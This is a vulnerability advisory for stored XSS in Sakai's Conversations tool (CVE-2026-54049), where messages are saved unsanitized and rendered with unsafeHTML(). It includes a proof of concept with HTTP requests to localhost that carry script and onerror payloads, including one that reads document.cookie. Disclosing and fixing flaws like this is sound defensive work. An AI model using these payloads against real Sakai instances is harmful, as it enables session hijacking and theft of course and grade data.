PT-2026-81116 · Maven · Org.Sakaiproject.Conversations:Sakai-Conversations-Impl+2
CVE-2026-54049
·
Published
2026-08-24
·
Updated
2026-08-24
CVSS v3.1
8.7
High
| Vector | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
Summary
The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's
unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.Description
The Conversations REST API endpoint
POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (conv topics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.The same issue affects post replies via
POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in conv comments.On the frontend,
SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:SakaiPost.jslines 429, 432:${unsafeHTML(this.post.message)}SakaiTopic.jsline 679:${unsafeHTML(this.topic.message)}SakaiComment.jsline 148:${unsafeHTML(this.comment.message)}
Unlike other Sakai tools (Announcements, Assignments, Resources) which call
FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.Proof of Concept
Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId
BELP 275K 7418).Step 1 - Inject XSS payload in topic:
POST /api/sites/BELP 275K 7418/topics HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json
{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}Response: HTTP 200,
"message":"<img src=x onerror=alert(1)>" - raw HTML stored.Step 2 - Verify stored in database:
sql
SELECT TOPIC ID, TITLE, MESSAGE FROM conv topics
WHERE TOPIC ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
-- Result: MESSAGE = <img src=x onerror=alert(1)>Step 3 - Inject XSS payload in post reply:
POST /api/sites/BELP 275K 7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json
{"message":"<script>alert(document.cookie)</script>","siteId":"BELP 275K 7418"}Response: HTTP 200,
"message":"<script>alert(document.cookie)</script>" - raw script stored.Step 4 - Verify in database:
sql
SELECT POST ID, MESSAGE FROM conv posts
WHERE POST ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
-- Result: MESSAGE = <script>alert(document.cookie)</script>When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with
unsafeHTML(), causing the injected scripts and event handlers to execute.Impact
An attacker with any site membership (student role or higher) can:
- Perform actions on behalf of victims
- Exfiltrate gradebook data and course content
- In a university context with hundreds of students per course, a single malicious post can compromise all enrolled students simultaneously
Status / timeline:
- 2026-06-02: Fix committed to master (
2696b4b48cbef2e81512f52f84f7477adff78b27) - Release pending.
Fix
XSS
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Weakness Enumeration
Related Identifiers
Affected Products
Org.Sakaiproject.Conversations:Sakai-Conversations-Impl
Org.Sakaiproject.Kernel:Sakai-Kernel-Impl
Org.Sakaiproject.Rubrics:Rubrics-Impl